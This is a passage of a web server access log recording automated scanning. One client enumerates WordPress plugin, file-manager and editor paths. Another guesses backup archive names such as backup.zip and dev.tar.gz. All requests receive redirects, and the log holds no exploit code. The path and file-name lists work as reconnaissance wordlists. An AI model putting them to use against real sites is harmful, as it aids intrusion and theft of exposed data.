[21/Mar/2026:12:47:22 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:22 +0300] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:47:22 +0300] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:22 +0300] "GET /dev/beijaflorstudio/wp-content/plugins/watch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:47:22 +0300] "GET /wp-content/plugins/three-column-screen-layout/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:23 +0300] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:23 +0300] "GET /images/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:23 +0300] "GET /wp-content/plugins/view-more/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:23 +0300] "GET /wp-content/themes/twentynineteen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:24 +0300] "GET /function/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:24 +0300] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:47:24 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:24 +0300] "GET /wp-admin/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:24 +0300] "GET /assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:47:25 +0300] "GET /plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:47:25 +0300] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:25 +0300] "GET /wp-includes/blocks/site-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:25 +0300] "GET /test/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:25 +0300] "GET /wp-content/plugins/woocommerce-square/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:26 +0300] "GET /wp-content/plugins/wp-sec/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:26 +0300] "GET /completion/criteria/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:26 +0300] "GET /var/www/sites/default/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:26 +0300] "GET /admin/fckeditor/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:26 +0300] "GET /doc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:27 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:27 +0300] "GET /wp-includes/Requests/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:27 +0300] "GET /sites/all/modules/elfinder/connectors/php/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:47:27 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:28 +0300] "GET /wp-content/plugins/tunnelforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:28 +0300] "GET /wp-content/uploads/import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:28 +0300] "GET /wp-content/plugins/complianz-gdpr/cookiebanner/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:28 +0300] "GET /wp-content/themes/Divi/includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:28 +0300] "GET /wp-content/themes/Avada/licensing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:29 +0300] "GET /wp-content/uploads/2014/07/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:29 +0300] "GET /phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:29 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:47:29 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:29 +0300] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:30 +0300] "GET /wp-content/plugins/up/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:47:30 +0300] "GET /wp-content/plugins/css-ready-sel/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:47:30 +0300] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:30 +0300] "GET /wp-content/plugins/content-management/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:31 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:47:31 +0300] "GET /wp-content/themes/deeto/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:47:31 +0300] "GET /wp-content/plugins/awesome-coming-soon/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:31 +0300] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:47:31 +0300] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:47:32 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:32 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:32 +0300] "GET /admin/controller/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:32 +0300] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:47:32 +0300] "GET /wp-content/plugins/wp-daft/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 43.166.253.94 - - [21/Mar/2026:16:13:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 141.98.11.169 - - [21/Mar/2026:17:11:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 170.106.113.235 - - [21/Mar/2026:17:01:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.28.246.113 - - [21/Mar/2026:17:08:41 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 220.181.108.82 - - [21/Mar/2026:17:12:29 +0300] "GET /?pagelayer-template=footer HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v1.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /bak.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /clone.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /bak.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:29 +0300] "GET /test.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /test.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:30 +0300] "GET /api.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /eliteewallet.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:25 +0300] "GET /v1.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /v2.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:26 +0300] "GET /backup.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /backup.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.rar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:27 +0300] "GET /dev.tar.gz HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 45.63.43.146 - - [21/Mar/2026:17:42:28 +0300] "GET /clone.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 